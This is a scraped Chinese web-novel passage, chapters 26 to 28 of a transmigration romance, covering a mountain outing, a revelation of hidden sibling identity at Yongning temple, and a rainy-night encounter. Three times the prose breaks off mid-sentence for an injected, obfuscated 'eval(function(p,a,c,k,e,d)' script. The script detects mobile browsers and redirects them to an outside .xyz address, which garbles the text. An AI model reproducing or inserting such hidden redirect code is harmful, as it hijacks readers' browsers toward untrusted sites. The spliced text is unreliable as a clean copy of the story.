第 26 章 其实吧,祈福是假,盯住男二跟女主的进展是真。 因为原著前期,萧徵和苏琼月除了少数几次宫中偶遇以外,大多的彼此了解和感情进展都发生在永宁寺,再加上现在谢青行还不在京中,这么关键的空窗期她怎么能放任。 但过完中秋,傅苒还没等收拾好东西去寺里,就先接到了一份请帖。 帖子的来源倒不是很意外,是和她有过几面之缘的崔鸯,只是内容比较出人意料,崔鸯居然请她一起去郊外爬山。 地点是首阳山,在城郭之外,马车从城北的广莫门而出,再沿邙山南麓的官道走大半个时辰,才能到达山脚下。 到达山脚,那里竖着一块石碑,上书首阳二字。 傅苒对书法了解不多,只能看出笔锋古朴而厚重,既承自晋楷,也颇有汉隶的风格,是典型的北碑手笔。 崔鸯一路上都在轻言细语地与她闲谈风景,见她停下来观看,便驻足阐述了这块碑的来历:“这座山是北邙的最高峰,日出之时,光必先及,故而名为首阳山。” 虽然说是最高峰,但山整体上走势平缓,上山的路一半是台阶,一半是缓坡,算不上很难攀登。 按崔鸯的说法,即便闲庭信步,一个时辰登上最高处也绰绰有余了。 不过傅苒本身气血虚弱,就算这样,也还是爬得上气不接下气。 她实在是体力不支,但不想因为自己耽误太久,所以只在半山腰歇息了会,又靠崔鸯扶了几把,勉强一鼓作气连续爬到了山顶上。 “好累,我先、先坐一会。” 傅苒全靠毅力支撑着才能走上来,等到达目的地之后,直接连站起来看看风景的力气也没有了。 她坐在山顶的一块大石头上抚了抚胸口,平复着过快的心跳:“崔姐姐,你一点,都不累吗?” 崔鸯比她要适应得多,虽然同样爬了一路,说话却还从容不迫,丝毫没有疲态:“还好,我自幼时起便常常登山观景,洛阳附近的名山,从嵩山、崤山,以至于熊耳山,我都曾经攀登过,像这样的路途早就习以为常了。” 傅苒掂量了一下自己的轻重,觉得以现在的小身板去爬什么嵩山之类的,怕不是要了她的老命,但这不妨碍她肃然起敬:“太厉害了,你简直是吾辈楷模。” “也不尽然,”崔鸯摇了摇头,目光投向远方,神情中若有感慨。 “当时更多是与我的……一位好友同来,她虽不爱登山,却总因着我喜欢,便也陪着。” 根据她语调中这点异常的停顿,傅苒直觉崔鸯说的这个好友,应该就是皇后,或者说当上皇后之前的郑家娘子。 但崔鸯只是含蓄地感叹了这一句,便没有继续说什么,回转过身来,直视着傅苒,眸中带着几分歉意:“邀娘子同游的缘故,想必娘子也已经猜到,那日在宫中麻烦你了,只是后来顾及流言可畏,一直未能当面道谢。” 傅苒想起她第一次见面的话,摆了摆手同样回复。 “举手之劳而已,不必介怀,对吧?” “……”崔鸯先是一怔,随后会意地笑了起来,“以一抵一,原本该是两清,但算起来,我惹出的麻烦到底更大一些。” 毕竟她是当众拒绝了皇后的好意,若不是傅苒本身不是这个圈子里的人,一望而知地跟此事完全无关,说不好会不会受到牵连。 所以为什么当时选了傅苒,原因很清楚,其他贵女之间的家族关系错综复杂,未必想为了这点小事得罪皇后。 这种事情大家都心知肚明,没有必要说出来,但她的确是欠下了一个人情。 傅苒其实觉得这没什么好计较的,见她神色黯然,于是道:“崔姐姐今天邀请我来爬山,我就很喜欢,这也可以算是还人情了。” 崔鸯闻言,眼中闪过一丝讶异,随即失笑摇头。 “若是说到这件事,那我便更该向你道谢了。” 她的眼神有些无奈,“我之所以邀你,除了为之前的事外,也是想要躲人。” 要说前面的还可以理解,这个理由就有点让人摸不着头脑了。 “要躲什么人啊?” 傅苒下意识追问了一句,随后意识到什么,又连忙补充:“我随口问的,如果是私事就算了。” 崔鸯却坦诚道:“我今日是借你的名义才能名正言顺地离家,既然如此,告知缘由亦是应当的。其实并无大事,只是我的表兄中秋日按例会来家中拜访,我有些不愿碰面罢了。” 原来是这么回事,傅苒了然地哦了一声:“他是不是有哪里惹你不高兴了?” 根据她的生活经验,表兄弟姐妹来家里发生磕磕碰碰的实属家常便饭。比如她小时候就被某个顽劣的表弟踩碎了好不容易搭起来的积木城堡,事后过去十年,她都坚决不给对方再进房间的机会了。 “倒也谈不上高兴或者不高兴,”崔鸯摇了摇头,神色隐隐怅然,“只是长辈们有些念头,我怕平白惹来误会而已。” 话虽然说得还是很婉转,但好在傅苒经过宫宴一茬磨练,也算初步适应贵女们的表达方式,会学会自动替换词语了。 和表兄又不太需要避嫌,还得避免误会的话,指的难不成是婚事? 崔鸯已经及笄,之前是为后宫中的纷争而耽误着,可现在皇后之位已经尘埃落定,那就差不多该轮到她的婚姻大事。 按照傅苒对原著的记忆,她最后好像是按照父母的安排,嫁给了世家李氏的一位郎君。两人都出身大家族,门当户对,虽然感情平平,但在外人看来总归也是稳妥的归宿。但是由于这篇文主打一个无人生还,所以数年之后,李家就因为一桩案子受到牵连,多人获罪被杀,这位李郎君也不出所料地没能活到收尾。 好在作为崔家人到底有所保障,所以崔鸯没有从此留在李家守活寡,而是回了娘家,但依旧是青灯古佛了却残生的老一套。 可傅苒所认识的这个女子,其实很难让人联系到书里的结局。 她见到的,在对方清冷完美的表象下,更多是一种明亮的特质,还未曾经历过风霜的特质。 “也许是最近心事繁杂,一时感慨良多,让你见笑了。”崔鸯终于从恍然回过神来,望着山脚下遥遥露出的城郭,克制地轻轻叹息了一声。 “高山有崖,林木有枝,忧来无方,人莫之知。当年魏文之诗,我如今登临首阳,竟然也不免心有同感了。” 在山顶上俯瞰平原的崔鸯,和宫中那个永远端庄静雅的贵女其实很不一样,如果要形容的话,就好像是活在画框里的仕女从画中走了出来。 傅苒感觉到她的心情似乎有些低落,想了想,岔开了话题:“崔姐姐,你这么经常爬山,是因为特别喜欢吗?” “并非开始就喜欢,说起来,这个习惯还是因为我父亲的提点,他以前说我‘常怀出世之心,却立入世之志’,往往难以自洽,所以叫我去往高处,看得开阔些才能明白。” “登九重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519621|168959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 峰,而识天之高,下视旷野,才觉地之阔。” 说到此处,崔鸯逐渐重拾起微笑,仿佛方才的感慨和叹息都没有发生过一样,恢复了平日的风度。 …… 日头渐渐西斜,等到下山时,秋日虽然不再如盛夏那样热浪灼灼,但到午后还是免不了略微的燥热。 下山的路上有个道观,据崔鸯说,经过这座山的不少人都会去观中逛逛,添些香火,再讨杯茶喝。 但进去时,观里的道士迎上前来,却是满脸抱歉的样子。 “实在对不住,我们这里地方小,寻常也没有多少人来,是以待客的饮水储得不多。前头几个郎君是先来的,恐怕招待他们之后,剩下的就没多少了。” 他看对面的女郎衣着光鲜,不愿得罪她们,便态度和气地建议道:“不过下山的路程没多远了,两位贵客若想饮茶,山脚下再行一小段路就有茶铺。” “多谢,那叨扰你们了。” 既然是来得晚,对方这样处事也合乎情理,傅苒没觉得有什么不对,正想跟着崔鸯往山下去。 “师兄,师兄!” 一个小道童气喘吁吁地跑过来,见状赶紧凑过来,笑眯眯地劝阻:“不用不用,我方才跟前面的来客讲了这事,有个年轻郎君就说,是他们给观中添麻烦在先,应该安排妥当。所以他已经遣人去买水上来了,客人只要稍等片刻就好,免得来来去去的折腾嘛。” 既然话说到这个份上,结果还是留了下来。 道观里面虽然不大,但古木参天,也颇有几分清幽之意。因为秋阳燥热,四下又无外人,崔鸯抬手轻轻拭去额角细汗,顺手将帷帽摘下挂在臂弯,可刚转过回廊,便迎面撞见一个年轻男子。 这人约莫弱冠年纪,穿素色圆领袍,腰间悬着青玉坠子,正领着两个僮仆提着水囊走来。 他步履匆匆,看起来赶回观中送水,乍见两位女郎,也是一愣,连忙侧身避让。 傅苒正准备和崔鸯绕开,却发觉她脚步一顿。 “敢问……我是否在何处见过娘子?” 年轻男子也是微微一怔,凝眉思索,随后恍然大悟道:“是莫非在四通市碰到惊马那日?” 他好像忽然想起了什么似的,连忙拱手:“当时若不是娘子急智,用帔帛充当绊马索,拦住了那匹受惊的马,我恐怕就要难逃伤筋动骨的厄运了。不想竟会再见,想必是天意让我向娘子道这次谢。” 崔鸯沉默一瞬,抬手将帷帽重新戴上,让垂落的轻纱遮住了面容。 她低声说了句“郎君不必客气”,便拉着傅苒快步离开了。 傅苒回头望了一眼,见那男子仍呆站在原地,不是很明白情况,凑近崔鸯小声问:“怎么走了?那个人不是要谢你吗?” 崔鸯脚步没有停下,直到上了马车,才轻轻吐出一口气,神情难得露出窘迫。 “去四通市那天是我私自出了门,没带几个仆婢,没想到撞见了兄长的同窗……幸好,他不认得我。” 傅苒为这个解释颇感神奇:“原来崔姐姐竟然也会偷溜出门吗?” 她还以为崔鸯是不食人间烟火的大家闺秀来着。 “算不算经常,不过我对城中的街巷其实熟悉得很。” 也许是因为吐露心事,而后又分享了秘密,崔鸯顿了顿,声音轻快了些,与她平时端庄的态度十分不同。 “今天我真的很高兴,之后要是有机会,我再邀你同游吧。” 27. 第 27 章 永宁寺熟悉的朱墙金瓦,在秋日的阴云下依然熠熠生辉,一派恢弘气象。 正殿前的香炉青烟缭绕,中心九层浮屠塔金铎高悬,秋风过处,铎声遥传,空明而悠远。 因为这座寺庙的规制许多是出于太后授意,所以虽然并非瑶光寺那样的比丘尼道场,但寺中也有一片清修之地,供贵族女眷礼佛参禅。 地方位于寺院深处,格外幽静,庭中种满了芭蕉,松柏和银杏,最中央是一株高大的银杏树,正是秋日,银杏落叶,满地金黄。 但从上午起,天色就愈发阴沉,厚重的云层压得极低,连带着院中的光线都暗淡了几分。 苏琼月倚坐在窗旁,无意识地摩挲着雕花上的木纹,望向窗外飘落的银杏叶,慢慢有些出神道:“入秋之后,天气便要渐渐凉下来了……” 她长睫微垂,在眼下投下一片愁绪般的阴影:“跟随陛下出征的那些将士,远行在外,风餐露宿,想必更是辛苦。” 虽然话是这么说,但其实出征的人里能让她如此牵挂的,除了谢青行还能有谁。 由于女主从头到尾实在表现得过于明显了,想装没看见也不行,傅苒望着她魂不守舍好半天,终于没忍住问了出来:“苏姐姐,你是不是在想念谢公子啊?” 苏琼月一惊,猛然回过神来,脸颊以肉眼可见的速度染上绯色,连耳尖都红了起来。 “苒苒,我、我不是,”她慌乱之下连否认都有点支支吾吾,“不是那个意思……” 唉,这也太此地无银三百两了。 傅苒都实在不好意思继续兜圈子了:“没事,我早就看出来了。” 她凑近过去,又小声说:“而且我觉得谢公子也是喜欢你的,只不过他,呃,比较不善于表达吧。” 但说实话也不能全怪男主,主要原因还是在于那个情蛊的失忆效果,每次记起这件事,她都好想把系统揍一顿。 “……原来你都知道了。” 被这么直白地说出了心思,苏琼月脸上不免微微露出羞涩之意,却又因为她的后半句话忐忑,抿起唇角,笑容里逐渐带了点苦涩。 若说先前,景逸的感情还可以像她说的一样感觉得到。 可如今,如同镜花水月,什么都变得不确切起来。 苏琼月张了张口,但最终只是把心中的纠结化作一声轻叹,转头望向廊下堆积的落叶,把话岔开,声音里带着刻意掩饰的落寞。 “其实也不尽然是想起出征之人……还有,永宁寺的住持,上次游塔时你见过的妙空法师,他同样要在近期离开远游了。” “妙空法师?”傅苒对这个人没什么印象。 但苏琼月说到游塔那天,她只记得塔前面迎接的是位白须苍苍的僧人,那位的话,这么大的年纪,好像不太适合再远游了吧。 她不由得好奇道:“法师为什么要去远游?” “具体的契机我本来也不清楚,”苏琼月闻言思索片刻,而后摇了摇头,“但法师和姑母有旧,我大约听说,应该是法师预感到自己大限将至,觉得这些年沾染红尘太多,情愿自己寻一处清净地圆寂。所以走之前,他拜会了几个人,了却身上粘的因果,然后便自行离去了。” 果然是高僧的作风,能当这么多年的住持,这位妙空法师估计也是有两把刷子的。 闲聊了一会,没多久,眼看苏琼月便掩唇打了个小小的哈欠,眼角泛起些许湿意,傅苒感觉自己的每日刷好感任务也差不多了,识趣地起身告辞。 走出门的时候,却不意撞见了一个人。 是萧徵。 青年站在落叶纷飞的树下,风姿俊秀,如若玉树琼枝,正望着满地金黄的银杏叶默默出神,直到听见临近的脚步声,才回首望了过来。 看见她的一刻,萧徵不知为什么,竟显得有些怔忪。 也许是光线暗淡的缘故,他脸上神色难辨,可视线触及她面容的刹那,又流露出一丝难以形容的情绪,仿佛某种困惑的挣扎。 不过傅苒没想太多,觉得他肯定是来找苏琼月的,故意拦在小径前,装出惊讶的样子道:“世子,你也在这儿?” 其实她更想说:哥们你怎么又来偶遇? 萧徵闻言向她走近几步,靴底碾过落叶,发出一阵细碎的声响。 等到走出树影之下,他的面孔很快便恢复了如常的温润,对她微笑着行礼致意,好像刚才那瞬间的异常只是幻觉:“不敢欺瞒娘子,前不久,有人揭发永宁寺重建中出现过贪墨之事,陛下命咸阳王彻查。我因为督办过法会,也难脱干系,所以要来配合调查,其余相关者恐怕也是一样。” 还挺合理,听起来不像胡说的,怪不得这两天倒是没见到小病娇来缠着女主,原来是真的有事。 这对她反而正好,傅苒假装无意地提起:“这样啊,我方才倒是和苏姐姐在聊天,但她有些疲乏,已经歇息了,所以才出来的。” 说完,她悄悄观察了一下萧徵的反应,心道都这么提醒过,他总不能再去打扰了吧。 然而奇怪地是,萧徵只是平静应了一声,目光依然落在她脸上,好像根本就没有太在意偶遇不成功的问题。 傅苒不明就里,可她和萧徵又不熟,没有别的话好说了,于是礼貌道:“那世子继续你的事,我先告辞了。” 但就在她要转身离开的时候,萧徵却突然开了口。 “有件事情,可否请你……留步片刻?” 找她能有什么事? 傅苒疑惑地停下了脚步,等着看他要说什么。 她并不知道,萧徵说完这句话的一刻,便已经意识到自己太过冲动了。 他向来是谋定而后动的人,但凡没有太多把握的事情,绝不会贸然摆在明面上,可是,这件偏偏不一样。 少女回过头望着他,清澈分明的一双杏眸,柳叶般的眉,右侧眉尾有颗浅浅的小痣,另一颗在鼻尖。 她的皮肤很白,白得几乎近于透明。因而在这样近的距离下,脸上的每一分特质都如此明显,如此……让人怀念。 他的视线久久停留在那里,胸腔里仿佛有什么情绪在激烈地汹涌着,像是冲动,像是失悔,又像是难以面对的畏惧。 但不论是什么,都必要求到一个答案,才能得以平息。 “我很抱歉。” 萧徵忽然用一种轻而复杂的语气对她说,“但就算是我弄错,今天也不得不得罪了。” 傅苒不解地一愣:“啊?” 但她很快就意识到对方说的得罪是什么含义了——萧徵不由分说地攥住了她的左侧手臂,掀起了上方的衣袖,宽松垂落的布料被翻卷至手肘处,露出下面的皮肤。 以及一小块浅淡的,仿佛被碾碎的蝴蝶般的红色胎记。 他的脸色微微变了,目光一瞬不瞬地凝视着那片胎记。 “你……你干什么!”傅苒震惊地把手往回抽。 她完全摸不着头脑,要不是作为本书读者,她很清楚萧徵这种心思深沉的男二对女主以外的人完全没兴趣,恐怕就要以为自己遇上流氓变态了。 虽然她并不觉得被人看到手臂有什么大不了的,但这个行为太突兀了吧。 傅苒下意识想拿衣袖掩盖住胎记的位置,然而对面的人行动更快一步,立刻握住她的手腕,阻止了她接下来的动作。 “我们好像也不是很熟吧,世子,那什么非礼勿视……” “长宁。” 萧徵冲动地打断了她的话,声音居然罕见地有些不稳:“你真的一点也不记得阿兄了吗?” 长宁?什么长宁? 难不成她在不知道的时候错过了什么关键剧情吗? 而且他这种又纠结又执着的奇怪态度到底是怎么回事? 傅苒迷惑了一瞬,尚未能开口否认,脑海中就传来了接连好几声短促的系统提示,让她直接被打断了思路。 【恭喜宿主,你已解锁女配的另一重隐藏身世线——南梁郡主萧长宁。】 【任务背景:萧长宁是萧徵的亲生妹妹,因故失散,从此忘记了自己的过去,以医女身份存活于世。任务目标:解开她身世的谜团。】 【注意,该隐藏线为剧情支线内容,并非宿主的必要任务,可以选择不完成,如若完成,会获得额外奖励。】 傅苒在震惊中打开了系统语音:“不对,什么隐藏身世?原著哪来的这个剧情?” 系统声毫无感情:【任务世界并非只有书中呈现的明面,女配作为南梁郡主萧长宁的身份是原著有伏笔的暗线,宿主可能没有观察到,但书评区已有读者猜出,且作者给予了确认。】 傅苒:“……” 看这种长篇虐文谁会看一页页看书评区啊,书评区全是为了男主和男配吵架的! 而且也不能这么神转折吧?兜兜转转她和萧徵居然是兄妹?这么逆天的剧情到底是哪个读者猜出来的? 怪不得她见到萧徵的时候,还想着他和女配人设好像。 她真傻,真的。 原来这两个人根本就是狗血剧里失散多年的亲兄妹,不像才是奇了怪了! 她无言以对地翻了遍新的任务面板,又看了看直直盯着她一动不动的萧徵。 再怎么样也不能杵在女主门口谈这种事情,傅苒认命地深吸一口气,总算接受了过于离谱的现实。 “世子,我们换个地方说吧。” * 相距傅苒住处不远,有间不常用的僻静禅房,隐藏在几株松柏之后。门下悬着青灰色的竹帘,里面是一张木制矮几,两侧放着蒲团,禅室四壁空空,唯有一幅褪了色的壁画悬挂在中间。 傅苒在蒲团上跪坐下来,抬眼看向萧徵,他拂衣而坐,窗外松影婆娑,斑驳的光影落在他半边脸上,明明灭灭,让人看不清神情。 她来的一路上还是觉得匪夷所思,继续质问系统:“有支线任务这么重要的事你怎么不早告诉我?你们任务就不能一次性发完?” 但系统的回答是一如既往的古井无波:【隐藏身世为原著暗线内容,而宿主当前仍无权限解锁系统储存中任何主线以外的部分。因此,这类支线任务只有触发后才会获得确认提示,无法进行提前沟通。】 行吧,反正这个系统除了发布任务以外什么用也没有,她已经看透了。 傅苒有种果然如此的感觉:“那你说的这个额外奖励是什么,不会也不能提前说吧。” 【可以告知,奖励为主线任务之外的附加积分,宿主被允许随时用于兑换系统商城中的道具。】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531724|168959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “什么?道具?!” 听到这个词,她忽然眼前一亮。 因为她远没到任务结算的阶段,所以还没有考虑过这回事。 但因为系统的提醒,傅苒一下想起了个非常重要的问题:“那你的商城里面有没有能解除忘忧蛊的道具?必须要没有副作用的那种。” 原著里这个蛊的解除可太麻烦了,得等到大结局,女主被虐得心力交瘁病逝,男主数月后听到消息,忽然间咳血不止,在重病中才彻底恢复记忆,最终自杀殉情。 说实话,在熬了半宿看到这个结尾的时候,傅苒觉得她也是真的要吐血。 所以如果真能兑换到合适的道具,那简直是绝佳助攻。但这回,系统的应答却略有延迟,大概是在判断她的想法有没有违规。 片刻后,它才作出了肯定的回复:【商城中存在解蛊道具,但根据积分计算规则,只有宿主全部完成身世支线任务后才能兑换。提示:由于系统商城属于局外因素,不受其他任务规则约束,宿主兑换后可立即选择使用。】 感天动地。 她穿书这么久,除了任务上一直被自由放养之外,更是连传说中金手指的影子都没摸到过,系统总算准备要给她起点儿作用了。 有道具的激励,傅苒立马就产生了做这个支线任务的兴趣。 她想了想,决定先发制人,主动向萧徵提问:“世子,你说你是我失散的兄长,有什么证据吗?” 其实系统认证过了,就没什么好怀疑的,只不过在萧徵面前得表现得更像是刚知情一点。 “我幼时随家人迁居,路上脑子受过伤,很多事情都不记得了,是我阿母后来慢慢告诉我的。”为了圆回刚才震惊的反应,她随便找了个失忆的借口,然后装模做样地回忆了起来。 “阿母确实提起过,我曾经有个又细心又温柔的兄长,从小就精通乐律,我小时候最喜欢围在他身边听他弹琴。她还说兄长爱吃清蒸鲥鱼,而且很照顾我,因为鱼肉多刺,总会挑干净了才放到我碗里。但我一直以为,兄长早已经去世了,阿母只是想念他才这么说的。” 其实这些内容基本上都是根据原著后期苏琼月对萧徵的了解编出来的,但只要大概特征能对上就好。 反正她已经声明自己记不清过去了,何况相隔这么多年之后,回忆中有点细节偏差再正常不过了。 不知道是不是她歪打正着编对了哪些,萧徵凝神倾听着,脸上浮现出怀念又怅惘的神情,忽然问:“你说的阿母,是不是姓傅?那父亲是不是姓杨?” 这倒是背景里提过的,傅苒坦然点点头:“是啊,我随阿母的姓。” “果然,”他如同确认了什么关键的线索,苦笑了一下,低声自语,“你姓傅,我该想到的,果然是莲衣夫人……” “我以为你被困在了那场大火里,却没想到,莲衣把你带走了。” 萧徵定定地注视着她的脸,眸中的某些情绪渐渐沉重:“这些年,我和阿父都亏欠你太多了,长宁。” “等等等等,你慢点。”傅苒快被他这一连串话绕晕了,毕竟她大多都是瞎编的,实际上什么也不知道。 “莲衣夫人就是我阿母?那你和我阿母是什么关系?我和你又是什么关系?所以我们是同父异母的兄妹?” “不,怎么会。” 闻言,萧徵终于收敛起过度波动的心绪,仔细解释道:“莲衣夫人并不是你的母亲,你与我是同母所生,只是你那时年纪太小,也许她为了保护你,便没有再告诉你真相。” “其实,莲衣是我们的阿母,当年南梁义阳王妃的心腹侍婢,从小就照顾我和你。如果我猜的没错,后来父亲被怀疑谋反,王府遭到查抄时,应该就是她和杨叔一起带着你逃走了。” 好大的信息量。 而且问题太多了,傅苒只能先选了最关键的那个:“那我真正的阿母呢?现在在哪?” 这个疑问却意外没有得到回答,萧徵反常地沉默了。 傅苒终于在这时后知后觉地想起了他一言难尽的身世。 对哦,他的亲生母亲,那位义阳王妃好像在逃亡过程中已经因病去世了,现在的建兴长公主是继母。 而且最主要的是,梁王萧承业本人都已经被赎回南朝,趁着内乱的时机重新掌权了,当时却没把他带走,导致莫名其妙留了个继子给自己的续弦妻子,续弦妻子还是异国长公主……这关系真是一团乱麻。 看来支线的积分奖励也不是好拿的,妥妥的任重而道远。 她揉了揉隐隐发疼的额头,忍不住发愁地叹了口气。 “……长宁,别担心。” 萧徵见状,袍袖下的手指轻轻一动,仿佛想要触碰她,但隔着这样的距离,终究什么也没做,只是缓声安慰。 “莲衣夫人当年带你离开一定不容易,路上诸多风霜,你必然受苦了。总归我已经找到了你,往后的时间还长,即使一时想不起来也没关系,不用着急,更不要勉强自己。” 他说着,语气一点点变得柔和下来:“你若想知道过去的事,下次,我可以慢慢讲给你听。” 秋风在此时从檐边吹过,将竹帘的半角掀起。 松声沙沙,人声渐静,良久,一滴雨落在廊下。 28. 第 28 章 这天的夜色来得比寻常都早,还没到平时黄昏的时候,酝酿了大半天的雨就挟着黑沉沉的天幕落了下来。 傅苒听见雨珠打在屋檐和台阶上,伴随着啪嗒啪嗒的细微声响,开始还只是零零碎碎的动静,忽然到了某个时刻,像是半空中有什么阀门被打开,大雨哗然落下。刹那间,万千楼阁殿宇全都淹没在了一片茫茫之中。 虽然她已经进了屋,但萧徵才刚走。 这么大的雨,而且他又没带伞,不得被淋成落汤鸡啊。 好歹是她刚开的支线任务,傅苒撑开一把纸伞,朝他离开的方向跑了出去。 可惜四周太暗,在雨势中更显得迷蒙,根本看不清人走到哪里了。她踮起脚尖张望了半天,好不容易才望见前面有个伫立在雨中的模糊身影,赶紧过去,把伞往他那儿送了一边。 “世子,你还好……” 冰凉的温度猛然握在了她的手腕上,中断了傅苒的话。 她猝不及防地被一股生硬的力量扯得踉跄两步,差点摔进对方怀里。伞也从手中滑下来,跌落覆盖在两个人身上,将不断落下的大雨隔绝在外。 天已经黑了,只有零散的房里亮着灯火,全都离得很远,这样暗淡的光线里,只有近在咫尺才能看清面容。 在这片小小的、伞下的昏暗中,他们几乎贴近,那人就这样恍惚地凝视着她,雨水从他下颚滑落,滴在她被攥住的手心。 突然的凉意,让傅苒下意识瑟缩了一下:“殿下?” 少年终于像是被这一声惊醒,松开了她。 他的声音不正常地透着微微的哑。 “……是你啊。” 深秋时分,一场突如其来的雨带来了浓重的寒意。 傅苒重新窝进充满安全感的房间里,把装着热水的杯子放到桌上,不解道:“殿下,你为什么会在这?” 没碰上萧徵倒正常,可能是已经走远了,但是晏绝,他大冷天的没事杵在庭院中间淋什么雨啊。 傅苒看着他的脸,逐渐察觉到什么,放软了声音,小心地问他:“你是不是心情不好?” 难不成失恋了? 也不对啊,这会离他和女主决裂还远着呢,而且连男二的感情线都才刚走了一小半,哪里就到小病娇的黑化剧情了。 晏绝迟缓地抬眸看了她一眼,但不像是准备回答的样子。 他仿佛处在某种游离的阴郁状态下,不似平时那样总是带着粉饰般的笑意,漆黑的眸子里毫无情绪,只有冰冷的空洞。 要不是被她发现之后拽进来,不知道他还要自己在雨里淋多久,黑发都已经被雨浸透了大半,湿漉漉地粘在衣服和额头上。 灯光里,他的脸色苍白,眼尾却像是泛着浅淡的红,映在禅房中朦朦胧胧的烛花晕影里,透出一种不同寻常的秾艳。 但是好看又不能当饭吃。 傅苒心想,他要是放任自己这么湿下去,不用熬到明天就百分之百会得感冒。 本着好人做到底的精神,她把那杯热水塞进他手里,抓着他的手强行递到唇边:“行了,我烧好的水,放凉有一会了,应该不会烫,你先喝点吧。” 一阵暖意从指尖开始漫延。 仿佛僵滞的冬眠之后被唤醒,晏绝不自觉地顺着那股轻柔力道,举起杯子喝了一口。 他无声无息地垂下眼,视线顺着落在她纤细的腕骨上。 皮肤单薄,能看见下面青色的脉络。 这样一双手毫无力量,让人不太能回忆起,他为什么会莫名其妙顺从地被拉进她的屋子里。 也许是因为她早早点燃的光亮。 在覆盖了空濛天地的雨夜里,这些微明亮的灯火,令他生出一种久违的向往,像是跋涉于风雪黑暗中,麻木不知晓方向的旅人,忽然见到了不必流离的栖息之地。 纵然那是幻觉,稍纵即逝的幻觉。 他就这么喝完半杯热水,被冰冷的雨水洗刷得发白的唇色才恢复了些许红润。 “……傅姑娘刚才把我认成了谁?” 傅苒撑着脸颊眼巴巴盯着他,等了半天,结果却完全没有听到她期待的感谢。 少年一开口,又是那种她熟悉的带刺的态度,望着她的黑眸中透着深深的幽暗。 “你说的世子,是那天的梁王世子?你和他关系很好,好到能在后院里认错人?” “不是,殿下,”她本来要问的话都被噎了回去,“都这种时候了,就不要再关心有的没的了好不好……” 明明都已经很狼狈了还要继续折腾别人,这到底是什么精神啊。 但是话又说回来,以傅苒的直觉,貌似每次她真正察觉到危险时,晏绝往往显得很平静,反而他看起来尖锐的时候,实际上倒会变得好说话一点。 当前好像是属于后一种情况。 所以她不怎么害怕地挪了挪坐席,靠近戳了一下他湿透的衣服,语气义正辞严:“你现在最该担心的是着凉才对。” 算了,不能指望他自己意识到这个问题。 傅苒想了想,忽然记起来什么,马上站起身,进了内室,刷一下迅速地关上了门。 “……” 这还是她第一次这么肆无忌惮地不理会他,因为那个惹人厌烦的萧徵。 少年盯着眼前的杯盏,里面剩下的半杯水逐渐冷却,衣衫越来越湿冷,寒意和沉重不可抑制地从中浮现。 熟悉的焦躁感一同涌了上来。 他为什么要任人摆布地坐在这里? 纵然他从来不在乎危险,哪怕行走于悬崖边缘,行走于在刀尖上,也总是不管不顾地放任过程中轻微的失控,再拥有拨回正轨的时机。 所以他一直没有真正动过她,因为失控所带来的刺激,已经是世间少有的有趣的事。 但是现在,他已经察觉到,倘若继续下去,原本所预计的失控……恐怕将要逐渐过界了。 少年不受克制又心烦意乱地想,一开始应当早些做决定的。 本就该这样。 不安稳的因素,留着,终究是…… “殿下,你赶紧擦擦。” 倏然间,一块不知道从哪翻出来的帨巾直接兜头而下,带着清香的皂角气味,自顾自将他半张脸埋在了里面。 晏绝全无防备,一时之间居然没能反应过来。 他恼羞成怒地愣了片刻,甚至忘了要把覆在头上的帨巾扯下来:“你在干什么?” “用来擦头发啊,”傅苒无辜地指了指地上的一小滩水,“你头发上面滴下来的水都快成池了,殿下,你反正待会就走了,我可是住在这的,要是之后有人问我怎么弄坏房子,我怎么交代?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544902|168959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这话不知道哪里惹恼了他,晏绝的表情绷得紧紧的,只留给她一个冷淡的侧颜:“傅姑娘也说了,你要住的地方,和我有什么关系,我为什么要在意?” 傅苒对他的反应意外之余,又觉得有点儿新奇。 这可不是小病娇的风格。 他真那么不情愿的话,怎么没把东西拿走,还留给她继续得寸进尺的机会。 不过这种事情还是不要揭穿的好,眼看晏绝一幅充满戒备的样子,她只好拿起布巾,跟哄骗似的:“我就给你擦擦头发,这总可以了吧。” 傅苒随便擦了擦他发丝上的水珠,然后趁着晏绝没反抗的时机,解开了他的发冠,让束起的头发全都披散下来。 这个人每句话分明都充满了棱角,但触碰到他散落的黑发,又偏偏是很柔软的,像鸦羽一样从指间滑过,带来轻微的湿润触感,有些奇妙。 但除了头发,他的衣服也被打湿了,虽然因为秋天的穿着有几层,还不算太严重,可是本就轻微敞开的领口被浸湿得格外明显。 从她站着的角度,甚至可以隐约看到他胸口偏白的肤色,往下的阴影,薄薄的肌肉,还有若隐若现的……腰腹曲线。 晏绝明显也意识到了这一点,骤然抬起头,眸子里闪动着愠怒的光泽:“谁让你乱看的?!” 这是什么倒反天罡的台词。 